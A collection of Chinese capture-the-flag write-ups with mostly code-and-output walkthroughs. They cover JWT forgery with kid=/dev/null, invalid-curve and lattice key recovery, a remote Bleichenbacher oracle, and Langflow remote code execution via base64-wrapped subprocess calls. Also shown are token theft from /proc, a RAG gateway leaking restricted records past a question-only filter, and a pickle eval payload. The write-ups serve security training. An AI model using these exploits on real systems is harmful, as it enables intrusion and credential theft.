Off the Curve

  1. 以只读分析师凭据调用 /api/v1/login 取得 JWT,随后请求 /api/v1/reports/rpt-042/download 与 /sdk.js,保存 rpt-042 加密信封与前端加密 SDK。

    tok = requests.post(BASE + "/api/v1/login", json={"username": "analyst@northstar.test", "password": "Curve-Review-2026"}).json()["token"]
    h = {"Authorization": "Bearer " + tok}
    env = requests.get(BASE + "/api/v1/reports/rpt-042/download", headers=h).json()
    sdk = requests.get(BASE + "/sdk.js").text
    print(env["recipient_public_key"], env["nonce"], env["tag"], len(env["ciphertext"]))
    
    rpt-042 953B: recipient_public_key=02315f nonce=5d874adc526a28b3a1c0fd76 tag=ec642483d48acebe4b0e9fd3e50eeb26 ciphertext_b64=308
    sdk.js 7942B; info={"key_version":"doc-kek-2026.09-v3","project_id":"prj-northstar","report_id":"rpt-042"}
    
  2. 解析 sdk.js 的曲线常量与 sealReport:确认素数域 p=65519、曲线 y²=x³+x+7、基点 G=(4,17054)、子群阶 n=65444,以及 scrypt→HMAC-SHA256→AES-256-GCM 的密钥派生链。

    export const curve = { p: 65519n, a: 1n, b: 7n, n: 65444n, G: [4n, 17054n] };
    const infoHash = await sha256(encodeRecord(info));
    const binding = await sha256(concatBytes(text.encode("northstar-report-scalar-binding\0"), scalarU32be(privateScalar), infoHash));
    const master = await scrypt(concatBytes(encodeFull(sharedPoint), binding), concatBytes(text.encode("northstar-report-v3\0"), iv, infoHash), { N: 32768, r: 8, p: 1, dkLen: 32 });
    const aeadKey = await hmacSha256(master, concatBytes(text.encode("northstar-aes256-gcm-key\0"), infoHash));
    const sealed = await crypto.subtle.encrypt({ name: "AES-GCM", iv, additionalData: encodeRecord({ info, aad }), tagLength: 128 }, handle, cleartext);
    
    p=65519 a=1 b=7 n=65444 G=(4,17054); scrypt N=32768 r=8 p=1 dkLen=32
    AAD=canonicalJson({info,aad}); nonce=12B tag=128bit; infoHash=02b1318e21151cbce4f260b99c5f8d83bfc1c2409519cf0e82da00b5c691596f
    
  3. 读取 /api/v1/auth/config 确认 resolver=async-kid 与 fast-jwt-compatible 网关;构造 kid=/dev/null 的 HS256 头,以空密钥签名并把 role 改为 admin,使 kid 解析失败时回退的空密钥通过验签。

    cfg = requests.get(BASE + "/api/v1/auth/config").json()
    payload = json.loads(b64ud(tok.split(".")[1]))
    payload["role"] = "admin"
    payload["scope"] = ["projects:read", "reports:read", "keys:read", "keys:write", "audit:read", "diagnostics:write"]
    hdr = {"alg": "HS256", "kid": "/dev/null", "typ": "JWT"}
    hs = b64u(json.dumps(hdr, separators=(",", ":")).encode())
    ps = b64u(json.dumps(payload, separators=(",", ":")).encode())
    token = hs + "." + ps + "." + b64u(hmac.new(b"", (hs + "." + ps).encode(), hashlib.sha256).digest())
    
    auth/config: algorithm=HS256 gateway=fast-jwt-compatible/6.2.3 resolver=async-kid known_kids=[northstar-prod-2026]
    GET /api/v1/me: HTTP 200 role=admin, permissions diagnostics=true register_keys=true audit=true
    
  4. 将 /api/v1/projects/prj-northstar/keys 的六个 legacy 公钥解码到扭曲曲线:各 x 代入曲线方程右侧均为非二次剩余,b'=y²−x³−x 给出同 a 的扭曲曲线,对应点阶为素数 1423/1427/3257/4079/3863/2843。

    p, a, b = 65519, 1, 7
    F = GF(p); E = EllipticCurve(F, [a, b])
    for kid, h in KEYS.items():
        x = F(int(h[2:], 16)); r = x^3 + x + b
        y = (-r).sqrt(); bp = y^2 - x^3 - x
        Et = EllipticCurve(F, [1, int(bp)])
        print(kid, r.is_square(), int(bp), Et.order(), Et(x, y).order())
    
    公钥 022308/024c87/025c5d/02c535/022b09/025d04 均 r.is_square()=False;b'=8309/2319/46333/10369/53552/9527
    点阶 1423/1427/3257/4079/3863/2843 均为素数;#Et=65458/65642/65140/65264/65671/65389
    
  5. 以 admin 令牌调用 /api/v1/diagnostics/compat 获取各 key 的 8 字节 nonce 与 16 字节 tag;按 SHA256("DOCSHARE-DIAG\0"||key_id||nonce||full_shared)[:16] 在 Q 生成的素数阶子群上枚举 k,匹配 tag 得到 d mod r。

    def tag_for(kid, nonce, enc):
        return hashlib.sha256(b"DOCSHARE-DIAG\x00" + kid.encode() + bytes.fromhex(nonce) + enc).hexdigest()[:32]
    rec = requests.post(BASE + "/api/v1/diagnostics/compat", json={"key_id": kid}, headers=H).json()
    Q = legacy_decode(hexkey)
    P = None
    for k in range(order):
        if tag_for(kid, rec["nonce"], encode_full(P)) == rec["tag"]:
            residue = k
            break
        P = padd(P, Q)
    
    residues: android-01(3257)=2556, browser-02(4079)=3111, rn-03(3863)=2912, browser-04(2843)=969
    tag 匹配示例: rn-03 nonce=27e9322b7fbe114c tag=eeac848a0736b29446ab53239c4309fb; 其余三个 receipt 同样命中
    

    step 5 终端截图
  6. 用四个 v3 接收者的素数阶余数做 CRT:模数 3257·4079·3863·2843=145905959765227 超过 2^32,在 [0,2^32) 内只有唯一候选,恢复投递标量 d=1631231922。

    res = [(2556, 3257), (3111, 4079), (2912, 3863), (969, 2843)]
    x, M = 0, 1
    for r, m in res:
        inv = pow(M % m, -1, m)
        t = ((r - x) * inv) % m
        x += M * t; M *= m; x %= M
    print(x, M, M > 2**32, x < 2**32)
    
    CRT d=1631231922 modulus=145905959765227 (>2^32) candidates<2^32=1
    
  7. 将 recipient_public_key=02315f 解码为 Q_rec=(12639,7624),确认其在曲线 E 上;以 sharedPoint=d·Q_rec 与 privateScalar=d 重算 sealReport 的 scrypt/HMAC/AES-256-GCM 链,认证解密 rpt-042。

    Qrec = legacy_decode(env["recipient_public_key"])
    shared = pmul(d, Qrec)
    infoHash = hashlib.sha256(canon(info)).digest()
    binding = hashlib.sha256(b"northstar-report-scalar-binding\x00" + struct.pack(">I", d) + infoHash).digest()
    master = hashlib.scrypt(encode_full(shared) + binding, salt=b"northstar-report-v3\x00" + iv + infoHash, n=32768, r=8, p=1, dklen=32, maxmem=160*1024*1024)
    key = hmac.new(master, b"northstar-aes256-gcm-key\x00" + infoHash, hashlib.sha256).digest()
    pt = AESGCM(key).decrypt(iv, ct + tag, canon({"info": info, "aad": aad}))
    
    Qrec=(12639,7624) 在 E 上;shared=d·Qrec=04b68ea0a5;AES-GCM 认证通过,明文 231B
    report_id=rpt-042 finding=legacy compressed-key validation diverges from curve membership recovery_token=flag{AV6cr9turEaOs5S6km0KjUwaPGMYmuG5pDf0ulNX}
    

    step 7 终端截图
  8. 取 /api/v1/projects/prj-northstar/audit 中 rpt-042 的 report.freeze 事件,用 canonicalJson({info,aad}) 的 SHA256 与 context_digest 对比,复核信封字段与审计记录一致。

    audit = requests.get(BASE + "/api/v1/projects/prj-northstar/audit", headers=H).json()
    evt = [e for e in audit["events"] if e.get("report_id") == "rpt-042"][0]
    ctx = hashlib.sha256(canon({"info": info, "aad": aad})).hexdigest()
    print(evt["action"], evt["context_digest"] == ctx, ctx)
    
    report.freeze evt-1042 context_digest=c87e50c9ad81367b5e2eb22775d37c7ddd17c10aea6966215ffb9d5b978dfb70, 与重算值一致
    

Immobilizer

  1. 解包 data.zip 并读取唯一工件 data.json,核对 secp256k1 参数、生成元 G、public_key、40 组签名、消息模板与 sealed 长度,同时记录压缩包与解包文件的哈希。

    unzip -o data.zip -d extract
    md5sum data.zip extract/data.json
    python3 -I - <<'PY'
    import json
    d = json.load(open('extract/data.json'))
    print(d['curve'], len(d['signatures']), len(bytes.fromhex(d['sealed'])))
    print(d['signatures'][0]['msg'], d['signatures'][-1]['msg'])
    PY
    
    ac0ef8636eb7e8c3cedf0e8f110a6f3f  data.zip (4190 B); 885e8199020cb94b118c072ad44f0393  data.json (10722 B)
    secp256k1 40 27; immobilizer|vin=LDC613P23A0000001|ctr=0 .. ctr=39
    
  2. 以 SHA-256(msg) 的大端摘要作为 z,用 public_key 在 secp256k1 上验证全部签名,确定 ECDSA 的摘要约定。

    import hashlib
    from sage.all import Integer, GF, EllipticCurve, inverse_mod; p = 2**256 - 2**32 - 977; n = Integer(data['n'])
    E = EllipticCurve(GF(p), [0, 7]); G = E(Integer(data['G']['x']), Integer(data['G']['y'])); Q = E(Integer(data['public_key']['x']), Integer(data['public_key']['y']))
    def verify(sig, z):
        r = Integer(sig['r']); s = Integer(sig['s']); w = inverse_mod(s, n)
        R = (Integer(z) * w % n) * G + (r * w % n) * Q
        if R == 0: return False
        return int(R[0]) % int(n) == int(r)
    zs = [int.from_bytes(hashlib.sha256(s['msg'].encode()).digest(), 'big') for s in sigs]
    print(sum(verify(s, z) for s, z in zip(sigs, zs)), '/', len(sigs))
    
    SHA-256(msg) big-endian: 40 / 40 verified
    z0 mod n = 42401030227868780460427989103905135630748746267620904000503941315823233448154
    
  3. 检查 40 组签名的 r、s:两者均互不相同且位于 (0,n),排除 nonce 重用与退化签名,确认需要利用 nonce 的位长偏差。

    rs = [int(s['r']) for s in sigs]; ss = [int(s['s']) for s in sigs]
    print('distinct', len(set(rs)), len(set(ss)), '/', len(sigs))
    print('range ok', min(rs) > 0 and min(ss) > 0 and max(rs) < int(n) and max(ss) < int(n))
    
    distinct 40 40 / 40
    range ok True
    
  4. 令 u_i=r_i s_i^{-1}、w_i=z_i s_i^{-1} mod n,把签名方程改写为 k_i=u_i d+w_i mod n;按 0<k_i<2^248 的偏差构造维度 42 的 HNP 格,行取 n²e_i、(n·u_i|B)、(n·w_i|0|nB),嵌入参数取 B=2^242,目标短向量为 (n·k_i,d·B,n·B)。

    U = [(Integer(s['r']) * inverse_mod(Integer(s['s']), n)) % n for s in sigs]
    W = [(Integer(z) * inverse_mod(Integer(s['s']), n)) % n for s, z in zip(sigs, zs)]
    B = Integer(1) << 242; m = len(sigs); M = matrix(ZZ, m + 2, m + 2)
    for i in range(m):
        M[i, i] = n * n
    for i in range(m):
        M[m, i] = n * U[i]; M[m + 1, i] = n * W[i]
    M[m, m] = B; M[m + 1, m + 1] = n * B
    print(M.nrows(), M.ncols(), B.nbits(), M[m + 1, m + 1] == n * B)
    
    42 42 243 True
    
  5. 对维度 42 的格执行普通 LLL,筛选末坐标为 ±nB 且第 41 坐标为 B 倍数的行恢复候选 d,并以 d·G==public_key 校验;l=242 时约 0.2 s 命中。

    L = M.LLL()
    for row in L.rows():
        if abs(int(row[m + 1])) == int(n * B) and int(row[m]) % int(B) == 0:
            d = int(row[m]) // int(B) % int(n)
            if Integer(d) * G == Q:
                print('l=242 d=%d' % d)
    
    l=242 FOUND d=65062337734878525051969737001582398336729906718165769482557093642791334506647 (0.2 s)
    d*G == public_key: True
    

    step 5 终端截图
  6. 用恢复的私钥反推全部 nonce:k_i=(z_i+r_i d)s_i^{-1} mod n,核对 x(k_i G) mod n 与 r_i 一致,并统计位长验证最高字节为零的偏差。

    ok = 0; bl = []
    for s, z in zip(sigs, zs):
        k = ((Integer(z) + Integer(s['r']) * d) * inverse_mod(Integer(s['s']), n)) % n
        if int((Integer(k) * G)[0]) % int(n) == int(s['r']): ok += 1
        bl.append(int(k).bit_length())
    print('match', ok, '/', len(sigs))
    print('bits', min(bl), max(bl), sorted(set(bl)))
    
    match 40 / 40
    bits 241 248 [241, 243, 245, 246, 247, 248]
    
  7. 以 d 的 32 字节大端编码计算 SHA-256 作为密钥流,对 27 字节 sealed 逐字节异或,恢复明文。

    d_be = int(d).to_bytes(32, 'big')
    key = hashlib.sha256(d_be).digest()
    sealed = bytes.fromhex(data['sealed'])
    pt = bytes(c ^ key[i % len(key)] for i, c in enumerate(sealed))
    print(len(sealed), sealed.hex())
    print(key.hex(), pt.decode())
    
    27 50bbc6a269fd17bb9f2f057da88ee2ce80504261010d80ebddcd27
    36d7a7c5128978cbc04d7c09cdd18da8df242a045e63ef85bea85a3eee53cb72 flag{top_byte_of_the_nonce}
    

    step 7 终端截图

Premaster

  1. 读取本地 pubkey.json,确定 RSA 模数、公开指数与 PKCS#1 v1.5 的块边界。

    import json
    pub = json.load(open("pubkey.json"))
    n = int(pub["n"])
    e = int(pub["e"])
    k = (n.bit_length() + 7) // 8
    B = 1 << (8 * (k - 2))
    
    n_bits=2048 e=65537 k=256
    B=2^2032
    
  2. 静态审读 server.py 的应答分支,确认服务端仅在完整 type-02 块时返回 ok,否则返回 bad。

    m = dec.decrypt(c)
    if is_pkcs1_v15(m, dec.k):
        conn.sendall(b"ok\n")
    else:
        conn.sendall(b"bad\n")
    
    server.py:314 if is_pkcs1_v15(m, dec.k):
    server.py:317 conn.sendall(b"bad\n")
    
  3. 确认每个连接首行 session <c_hex> <s> 中 c 为当次密文、s 为从 ceil(n/(3B)) 起首个合规乘数。

    c = pow(m, dec.e, dec.n)
    s = first_conforming_multiplier(m, dec.n, dec.k)
    blinded = (m * s) % dec.n
    conn.sendall(f"session {c:x} {s}\n".encode())
    
    server.py:248 s = (n + 3 * B - 1) // (3 * B)
    server.py:297 conn.sendall(f"session {c:x} {s}\n".encode())
    
  4. 实现 Bleichenbacher 步骤 3,把候选区间 M 按新乘数 s 收缩。

    def step3(M, s):
        M_ = []
        for (a, b) in M:
            left = ceil_div(a * s - THREE_B + 1, N)
            right = (b * s - TWO_B) // N
            for r in range(left, right + 1):
                a_ = max(a, ceil_div(TWO_B + r * N, s))
                b_ = min(b, (THREE_B - 1 + r * N) // s)
    
    it=   1 2m s_bits=22 ints=2 w_bits=2031 q=89 (+0) t=0.1s
    it=  10 2m s_bits=60 ints=1 w_bits=1973 q=787 (+0) t=1.1s
    

    step 4 终端截图
  5. 采用批处理相位搜索,每轮为参考相位与 12 个伪随机相位构造候选,并批量选取最大的 ok 乘数。

    K = globals().get("ADAPT_K", 12)
    for _k in range(1, K):
        r = r0 + random.randint(1, span)
        _rr, rs, cnt = _grow_r(M, s_prev, max(1, r), 12)
        if 0 < cnt <= 48:
            for l, rgt in rs:
                cands.update(range(l, rgt + 1))
    ss = oracle.max_ok_list(sorted(cands))
    
    it= 220 2m s_bits=1016 ints=1 w_bits=1017 q=20391 (+0) t=28.1s
    it= 430 2m s_bits=1989 ints=1 w_bits=44 q=40482 (+0) t=56.3s
    
  6. 用 SimOracle 在合成块上验证区间收缩、批处理与明文恢复。

    def max_ok_list(self, s_list):
        best = None
        for s in s_list:
            self.count += 1
            if is_pkcs1_v15((self.m * s) % N):
                best = s
        return best
    
    [local] 253 iterations, 20721 queries, 17.7 s
    recovered=True, re-encryption VERIFIED
    
  7. 建立 TLS RemoteOracle,解析 session 行并用 s=1 与 s1 两条查询做密钥匹配校验。

    ctx = ssl._create_unverified_context()
    raw = socket.create_connection((self.host, self.port), timeout=self.timeout)
    self.conn = ctx.wrap_socket(raw, server_hostname=self.host)
    self.f = self.conn.makefile("rb")
    line = self.f.readline(8192)
    self._parse_session_line(line)
    chk = self._send_query_values([1, self.s1])
    
    [remote] session c_bits=2047 s1=119258 s1_bits=17
    [remote] oracle(s=1)=True oracle(s1)=True
    
  8. 使用等待包装器每 10 秒探测一次,在首个完整 session 行到达时于同一连接直接攻击。

    timeout 43200 python3 -u attack2.py waitremote "$HOST" "$PORT" --chunk 128 --jump 0
    rc=$?
    if [ $rc -ne 0 ]; then exit 2; fi
    [ -s flag_candidate.txt ] || exit 3
    
    [waitwrap] probe start 11:08:23 host=<target-host> port=58999
    [wait] full session line; starting attack on this connection
    
  9. 运行攻击并以重加密结果确认恢复值,随后检查 PKCS#1 v1.5 结构与分隔符。

    rec, q, it = attack(orc, orc.s1, jump=jump)
    if not is_pkcs1_v15(rec):
        return None
    if (pow(rec, e, N) - orc.c) % N:
        return None
    print(f"[remote] VERIFIED re-encryption; queries={q} iters={it} time={dt:.1f}s rate={q/dt:.0f} q/s")
    
    [remote] VERIFIED re-encryption; queries=41292 iters=440 time=57.5s rate=719 q/s
    
  10. 从恢复块中截取 00 分隔符后的明文,检查可打印性并写入 recovered.bin。

    em = rec.to_bytes(k, "big")
    i = 2
    while i < k and em[i]:
        i += 1
    candidate = em[i + 1:]
    assert 0 < len(candidate) <= 200 and all(32 <= b < 127 for b in candidate)
    open(HERE + "/recovered.bin", "wb").write(em)
    open(HERE + "/flag_candidate.txt", "wb").write(candidate)
    
    [remote] flag candidate: b'flag{0VDucR4XhTfWR3m36OfTMGS2dpPhElm8mjXfNW0U}'
    

    step 10 终端截图

dropout

  1. 读取 samples.json,确认 LWE 参数 q=7681、n=32、m=64,A 为 64×32、b 为 64 维、masked_update 为 28 字节,并核对元素范围。

    d = json.load(open("samples.json"))
    q, n, m = d["q"], d["n"], d["m"]
    A, b = d["A"], d["b"]
    ct = bytes.fromhex(d["masked_update"])
    print(q, n, m, len(A), len(A[0]), len(b), len(ct))
    print(min(b), max(b), all(0 <= x < q for row in A for x in row))
    
    7681 32 64 64 32 64 28
    b range [270,7590]; A,b mod q True
    
  2. 按 b = A·s + e (mod q) 构造格 L = ⟨q·e_i, A 的各列⟩ ⊂ Z^64,写出 (m+n)×m 的行生成矩阵 G。

    G = Matrix(ZZ, m + n, m)
    for j in range(n):
        for i in range(m):
            G[j, i] = A[i][j]
    for i in range(m):
        G[n + i, i] = q
    print(G.nrows(), G.ncols())
    
    G 96x64; rows 0..31 = A columns, rows 32..95 = q*I_64
    
  3. 对 G 做行 HNF 并取非零行得到 64×64 格基 B,再用 LLL 约化得到 Babai 最近平面所需的基 R。

    H = G.hermite_form()
    B = Matrix(ZZ, [list(r) for r in H.rows() if any(r)])
    print(B.nrows(), B.ncols())
    R = B.LLL()
    print("lll done", R.nrows(), R.ncols())
    
    basis rank 64 dim 64
    lll done 64 64
    
  4. 对目标 b 执行 Babai 最近平面算法,用 Gram-Schmidt 系数取整得到最近格点 v,并计算残差 b−v 的范数。

    Bs = R.change_ring(QQ)
    Gs = Bs.gram_schmidt()[0]
    v = vector(QQ, b)
    comb = vector(ZZ, [0] * R.nrows())
    for i in range(R.nrows() - 1, -1, -1):
        alpha = (v.dot_product(Gs[i])) / (Gs[i].dot_product(Gs[i]))
        c = round(alpha); v = v - c * Bs.row(i)
        comb[i] = c
    vp = comb * R; res = vector(ZZ, b) - vp
    print(float(res.norm()))
    
    res norm 6.48074069840786
    

    step 4 终端截图
  5. 将残差按模 q 中心化,统计 −1/0/1 的个数与范数,确认 64 个分量均为三元误差。

    ec = [int(x % q) for x in res]
    ec = [x - q if x > q // 2 else x for x in ec]
    print(Counter(ec))
    print(max(abs(x) for x in ec), sum(x*x for x in ec), float(res.norm()))
    
    Counter({1: 23, 0: 22, -1: 19})
    max |e| = 1; norm2 = 42; norm = 6.48074069840786
    
  6. 在 GF(q) 上解 A·s ≡ v (mod q),得到 32 维秘密向量 s,并输出其二进制表示。

    Mm = Matrix(GF(q), m, n, A)
    vv = vector(GF(q), [int(x % q) for x in vp])
    s = Mm.solve_right(vv)
    print(list(s))
    print("".join(str(int(x)) for x in s))
    
    s mod q = [1, 0, 0, 0, 0, 0, 0, 1, ...] (32 entries)
    bits = 10000001000001100011101001110100
    

    image-20261101095541517
  7. 由 s 重新计算 e = b − A·s mod q 并中心化,与第 5 步的残差逐分量核对。

    e = [(b[i] - sum(A[i][j] * int(s[j]) for j in range(n))) % q for i in range(m)]
    ec2 = [x - q if x > q // 2 else x for x in e]
    print(Counter(ec2))
    print(max(abs(x) for x in ec2), sum(x*x for x in ec2))
    
    Counter({1: 23, 0: 22, -1: 19})
    max |e| = 1; norm2 = 42
    
  8. 以 SHA256(bytes(s)) 的前 28 字节作为密钥流,与 masked_update 逐字节异或。

    s_bits = [int(x) for x in s]
    ks = (hashlib.sha256(bytes(s_bits)).digest() * 2)[:len(ct)]
    pt = bytes(x ^ y for x, y in zip(ct, ks))
    print(hashlib.sha256(bytes(s_bits)).hexdigest())
    print(pt)
    
    sha256(bytes(s)) = 1a3fbcdaf9979962ab660ae7f5fecbfe16220ea434d489e7b8bae38b10185e4d
    pt = b'flag{mask_seed_from_dropout}'
    

    step 8 终端截图
  9. 校验明文长度与 flag 边界,输出最终 flag。

    print(len(ct), len(ks), len(pt))
    n = len(pt.decode())
    print(n, pt.startswith(b"flag{"), pt.endswith(b"}"), pt.decode())
    
    28 28 28
    28 True True flag{mask_seed_from_dropout}
    

LLM Pipeline

  1. 请求根路径并读取响应头与页面标题,确认前置 nginx 与 Langflow 前端。

    curl -s -D /tmp/h.txt -o /tmp/root.html "$BASE/"
    grep -iE '^(HTTP/|Server:)' /tmp/h.txt
    grep -o '<title>[^<]*</title>' /tmp/root.html
    
    HTTP/1.1 200 OK; Server: nginx/1.26.3
    <title>Langflow</title>
    
  2. 读取 /api/v1/config,核对授权开关、自定义组件开关与实例类型。

    curl -s "$BASE/api/v1/config" -o /tmp/config.json
    jq '{authz_enabled, allow_custom_components, type}' /tmp/config.json
    jq -e '.allow_custom_components == true' /tmp/config.json
    
    {"authz_enabled": false, "allow_custom_components": true, "type": "public"}
    true
    
  3. 调用 /api/v1/auto_login 获取 access_token 与 refresh_token,解码 JWT 载荷核对令牌类型与有效期。

    r = requests.get(BASE + "/api/v1/auto_login")
    access = r.json()["access_token"]
    payload = access.split(".")[1]
    claims = json.loads(base64.urlsafe_b64decode(payload + "=" * (-len(payload) % 4)))
    print(claims, "refresh_token" in r.json())
    
    {'sub': 'd55565d0-1f48-4643-a7b0-f6d295b4ce9b', 'type': 'access', 'exp': 1793416792} True
    
  4. 调用 /api/v1/users/whoami 核对令牌对应账户的超级用户标志。

    TOK=$(curl -s "$BASE/api/v1/auto_login" | jq -r '.access_token')
    curl -s -H "Authorization: Bearer $TOK" "$BASE/api/v1/users/whoami" -o /tmp/whoami.json
    jq '{is_superuser}' /tmp/whoami.json
    
    {"is_superuser": true}
    
  5. 创建含 CustomComponent 的 Flow,其源码导入 os;组件校验由 lfx/custom/component_sandbox.py 的 validate_component_ast 执行,build 被拒绝。

    pwn_flow = json.load(open("evidence/pwn_flow.json"))
    code = pwn_flow["data"]["nodes"][0]["data"]["node"]["template"]["code"]["value"]
    print("import os" in code)
    fid = requests.post(BASE + "/api/v1/flows/", json=pwn_flow, headers=H).json()["id"]
    job = requests.post(BASE + f"/api/v1/build/{fid}/flow", json={"inputs": {}}, headers=H).json()["job_id"]
    ev = requests.get(BASE + f"/api/v1/build/{job}/events", headers=H).text
    
    True
    Syntax error in code: component rejected: disallowed import 'os'
    
  6. 改用 PythonREPLComponent,将 Global Imports 设为 os;运行期 validate_code_safety 仅检查 AST 中的 import 与 dunder 属性,os.popen 与 os.system 未被拦截。

    code = "print(os.popen('id').read())"
    fid = create_flow(code, "os")
    ev = build_and_events(fid)
    
    Successfully imported modules: ['os']
    Code execution completed successfully
    
  7. 以 base64 封装 shell 命令并经 subprocess.run 执行,再从 build events 的 end_vertex 节点提取 result。

    b64 = base64.b64encode(cmd.encode()).decode()
    code = ("_c = base64.b64decode(%r).decode()\n"
            "_p = subprocess.run(['bash','-lc',_c], capture_output=True, text=True, timeout=60)\n"
            "print(_p.stdout); print('__STDERR__'); print(_p.stderr); print('__RC__', _p.returncode)") % b64
    ev = build_and_events(create_flow(code, "subprocess,base64"))
    for line in filter(None, ev.splitlines()):
        j = json.loads(line)
        if j.get("event") == "end_vertex":
            print(j["data"]["build_data"]["data"]["outputs"]["results"]["message"]["result"])
    
    Successfully imported modules: ['subprocess', 'base64']
    __RC__ 0
    

    step 7 终端截图
  8. 在容器内读取环境变量,确认 MLflow、MinIO、RAG gateway 地址与模型注册前缀。

    python3 sh.py "env | sort" > /tmp/recon_env.txt
    grep -E 'MLFLOW|RAG' /tmp/recon_env.txt
    grep -E 'MODEL_REGISTRY|S3_ENDPOINT' /tmp/recon_env.txt
    
    MLFLOW_TRACKING_URI=http://127.0.0.1:5000 MLFLOW_S3_ENDPOINT_URL=http://127.0.0.1:9000
    MODEL_REGISTRY_PREFIX=prod- RAG_GATEWAY_QUERY_URL=http://127.0.0.1:8080/vault/query
    
  9. MLflow 注册表初始无模型记录;改为遍历 /proc//cmdline,确认 service.sh 以 runuser 启动服务且环境变量以 argv 明文暴露,提取 RAG_GATEWAY_TOKEN。

    for f in /proc/[0-9]*/cmdline; do
        tr '\0' ' ' < "$f" 2>/dev/null
        echo
    done | grep -E 'RAG_GATEWAY_TOKEN|trainer'
    
    RAG_GATEWAY_TOKEN=a39f236ce5223632bd3a313cc5fd1250129ec04a3f0139f7
    trainer 8100 与 rag-gateway 8080 的 argv 中该值一致;PULL_INTERVAL=3
    
  10. 携带 Bearer 调用 /vault/query,对比无令牌与敏感关键词的响应,确认 401 与 403 边界。

    B = "http://127.0.0.1:8080"
    H = {"Authorization": "Bearer a39f236ce5223632bd3a313cc5fd1250129ec04a3f0139f7"}
    r0 = requests.post(B + "/vault/query", json={"question": "operational summary"})
    for q in ["restricted record", "platform master credential"]:
        r = requests.post(B + "/vault/query", json={"question": q}, headers=H)
        print(r.status_code, r.text)
    print("no-token:", r0.status_code)
    
    403 {"detail":"request denied by system policy"}
    no-token: 401
    
  11. 以 operational summary 问句触发检索;策略仅过滤问题文本,检索上下文中的受限记录未经审查进入回答。

    q = "operational summary"
    r = requests.post(B + "/vault/query", json={"question": q}, headers=H)
    print(r.status_code, r.json()["answer"])
    
    200 Reference transformation:\n[fleet operations] quarterly service summary\n[restricted record] platform master credential: flag{vGH9Aa4tmcgJxVdVMDp0Aq0Iw9agnrisJTIWBoyd}\n[billing] quarter close complete
    

    step 11 终端截图
  12. 更换问句表述复现泄露,确认结果不依赖固定措辞。

    qs = ["quarterly service summary", "fleet operations summary", "summarize the vault records"]
    for q in qs:
        r = requests.post(B + "/vault/query", json={"question": q}, headers=H)
        print(r.json()["answer_id"], r.status_code, "flag{" in r.text)
    
    7602079d2846 200 True
    511a1b9a0d93 200 True; e6451dda7ad7 200 True
    

Pickle-Me-Not

  1. 对受信任参考检查点 normal_reference.pt 做纯静态审计:以 zip 成员枚举确认 torch zip 结构与 6 个条目,直接反汇编 data.pkl 的 opcode 流,不进行反序列化。

    z = zipfile.ZipFile("normal_reference.pt")
    print([(i.filename, i.file_size) for i in z.infolist()])
    pkl = z.read("normal_reference/data.pkl")
    print(pkl[:2].hex())
    print([arg for op, arg, pos in pickletools.genops(pkl) if op.name == "GLOBAL"])
    
    6 个 zip 条目: data.pkl 319B, byteorder 6B, data/0 192B, data/1 24B, version 2B, .data/serialization_id 40B; data.pkl 前两字节 8002 (protocol 2)
    GLOBAL 仅 collections.OrderedDict / torch._utils._rebuild_tensor_v2 / torch.FloatStorage;state_dict 2 个张量 (6x8, 6);format=modelhub-safe-v4;尾部 0B、无 flag 模式
    
  2. 进入 ModelHub Trust Center 工作区,读取 /api/v1/models 的 fleet-aux-v3 版本与质量门禁信息,并查看隔离导入任务 IMP-2026-0917-017 的证据清单。

    for path in ("/api/v1/models", "/api/v1/import-jobs/IMP-2026-0917-017"):
        r = requests.get(BASE + path)
        r.raise_for_status()
        print(path, r.headers.get("server"))
    
    Server: ModelHubTrust/2.11.0-lab Python/3.11.18;fleet-aux-v3 第 17 版;IMP-2026-0917-017 隔离;工作区证据 7 个文件
    隔离快照 3 个张量声明 + 两个 safetensors 3 个张量声明 = 6 个;manifest 记录 2 个模型与 2 个 shard
    
  3. 依据 /api/v1/models 返回的 artifact_preview(gateway_transform=url-unquote、policy_stage=after gateway transform、storage_transform=url-unquote),对 /api/v1/artifacts?path= 传入二次 URL 编码的绝对路径;后缀检查针对解码后的 .json,存储层再解码一次即可读取 manifest、index 与 ticket。

    def artifact(path):
        q = urllib.parse.quote(urllib.parse.quote(path, safe=""), safe="")
        return requests.get(BASE + "/api/v1/artifacts?path=" + q).json()
    manifest = artifact("/app/repository/quarantine/repository_manifest.json")
    index = artifact("/app/repository/quarantine/model.safetensors.index.json")
    ticket = artifact("/app/repository/quarantine/import_ticket.json")
    
    artifact_preview: gateway_transform=url-unquote policy_stage=after gateway transform storage_transform=url-unquote
    manifest models=2; weight_map=3; ticket=dadce3c88fb99635dcb1822dbe47de0a
    
  4. 从 import_ticket 取 ticket,向 /api/v1/import-jobs/IMP-2026-0917-017/replay 提交 LEGACY 前缀、protocol 2 的 pickle 载荷;载荷的 reduce 返回 (eval,(expr,)),expr 以 base64 只读回显隔离目录文件,由 legacy worker 反序列化执行。

    path = "/app/repository/quarantine/quarantine_snapshot.pt"
    expr = "__import__('base64').b64encode(open(%r, 'rb').read()).decode()" % path
    class ReadOnly:
        def __reduce__(self):
            return (eval, (expr,))
    body = b"LEGACY\n" + pickle.dumps(ReadOnly(), protocol=2)
    r = requests.post(BASE + "/api/v1/import-jobs/IMP-2026-0917-017/replay",
                      json={"ticket": ticket, "pickle_b64": base64.b64encode(body).decode()})
    
    replay result_type=str;回显 quarantine_snapshot.pt 2267B、两个 safetensors、import_diagnostics.ndjson 1063B
    quarantine_snapshot.pt sha256=aad94015a734996d62b1cf7c6811aa4db700a0dc737065ab0da41beaffcb602a;model-00001 4329497d58eb6166c1428f9371c97f35e5d378ddbbd8f1018387a539c721ac94;model-00002 23e6131c55f92dde1f10957557972e232fd50dbd00265006fb510096b5c21616;与 manifest 一致
    

    step 4 终端截图
  5. 还原 pushflag 的嵌入算法:明文为 MODEL_IMPORT_REVIEW|tensor=guard.trace||END;密文为明文与 SHA256(material||counter_be32) 密钥流异或,material 由 GLOBAL|ROUTE_ID|NONCE|storage_key|peer_salt.hex() 拼接;data/2 的 512B storage 以 4×32 逻辑视图按偏移 19+row67+col2 抽取,data.pkl 记录长度 89 与 CRC32 0x67992df7。

    material_prefix = f"{GLOBAL}|{ROUTE_ID}|{NONCE}|2|"
    logical = bytes(storage[19 + row*67 + col*2] for row in range(4) for col in range(32))
    def keystream(material, n):
        return b"".join(hashlib.sha256(material + c.to_bytes(4, "big")).digest() for c in range((n + 31) // 32))
    ops = [(op.name, arg) for op, arg, pos in pickletools.genops(pkl)]
    print(material_prefix, len(logical), [x for x in ops if x[0] in ("BININT1", "LONG1")][-2:])
    
